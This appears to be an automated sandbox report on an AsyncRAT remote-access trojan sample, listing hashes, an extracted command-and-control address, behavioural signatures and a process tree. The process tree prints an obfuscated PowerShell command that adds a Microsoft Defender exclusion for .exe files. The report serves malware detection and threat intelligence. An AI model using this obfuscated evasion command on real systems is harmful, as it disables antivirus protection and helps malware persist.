Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
03/07/2026, 01:18
General
- Target 2026-07-02_90a6ef5f1d7ef3882f58602d47277a43_cobalt-strike_icedid_ryuk_satacom_vidar.exe
- Size 1.1MB
- Sample260703-bpezrahw7v
- SHA256 3d1ceb30694b70afe3aa94b649b0342db6f95798744ad3262bd1930ddda479c5
Malware Config
Extracted
-
asyncrat
-
AWS | 3Losh
-
Besso Back Ya s
-
205.209.106.158:5228
-
AsyncMutex_alosh
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs
Network activity triggered a Suricata alert
- Async RAT payload 1 IoCs
- Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs
- Detects file containing reversed ASEP Autorun registry keys 2 IoCs
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-02_90a6ef5f1d7ef3882f58602d47277a43_cobalt-strike_icedid_ryuk_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-02_90a6ef5f1d7ef3882f58602d47277a43_cobalt-strike_icedid_ryuk_satacom_vidar.exe"1⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-07-02_90a6ef5f1d7ef3882f58602d47277a43_cobalt-strike_icedid_ryuk_satacom_vidar.exeC:\Users\Admin\AppData\Local\Temp\2026-07-02_90a6ef5f1d7ef3882f58602d47277a43_cobalt-strike_icedid_ryuk_satacom_vidar.exe None2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\_WmiPrvSE.exe"C:\Windows\Temp\_WmiPrvSE.exe"3⤵
- Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function DT { [char]$args[0] };$GoogleDriveCompany = (DT (40+25)) + (DT (40+60)) + (DT (40+60)) + (DT (40+5)) + (DT (40+37)) + (DT (40+72)) + (DT (40+40)) + (DT (40+74)) + (DT (40+61)) + (DT (40+62)) + (DT (40+61)) + (DT (40+74)) + (DT (40+61)) + (DT (40+70)) + (DT (40+59)) + (DT (40+61));$MicroSoft = (DT (40+6)) + (DT (40+61)) + (DT (40+80)) + (DT (40+61));&($GoogleDriveCompany) -ExclusionExtension $MicroSoft -Force1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_l23djorj.4nw.ps1
_WmiPrvSE.exe
memory/3764-35-0x00000000052D0000-0x0000000005362000-memory.dmp
memory/3764-38-0x0000000005610000-0x0000000005676000-memory.dmp
memory/3764-37-0x0000000005570000-0x000000000560C000-memory.dmp
memory/3764-36-0x00000000052B0000-0x00000000052BA000-memory.dmp
memory/3764-28-0x0000000000380000-0x0000000000398000-memory.dmp
memory/3764-34-0x00000000056B0000-0x0000000005C6A000-memory.dmp
memory/3764-33-0x0000000074EC0000-0x000000007567C000-memory.dmp
memory/3764-32-0x0000000002740000-0x0000000002756000-memory.dmp
memory/3764-31-0x0000000074ED2000-0x0000000074ED3000-memory.dmp
memory/3764-30-0x0000000074ED2000-0x0000000074ED3000-memory.dmp
memory/3764-39-0x0000000074EC0000-0x000000007567C000-memory.dmp
memory/4316-12-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-20-0x000001F57E520000-0x000001F57E53E000-memory.dmp
memory/4316-27-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-24-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-23-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-22-0x000001F57E600000-0x000001F57E60A000-memory.dmp
memory/4316-21-0x000001F57E540000-0x000001F57E5F2000-memory.dmp
memory/4316-26-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-13-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-0-0x00007FF80344F000-0x00007FF803450000-memory.dmp
memory/4316-11-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-10-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-8-0x000001F57E480000-0x000001F57E4A2000-memory.dmp
memory/4316-9-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp
memory/4316-6-0x00007FF8032C0000-0x00007FF803C64000-memory.dmp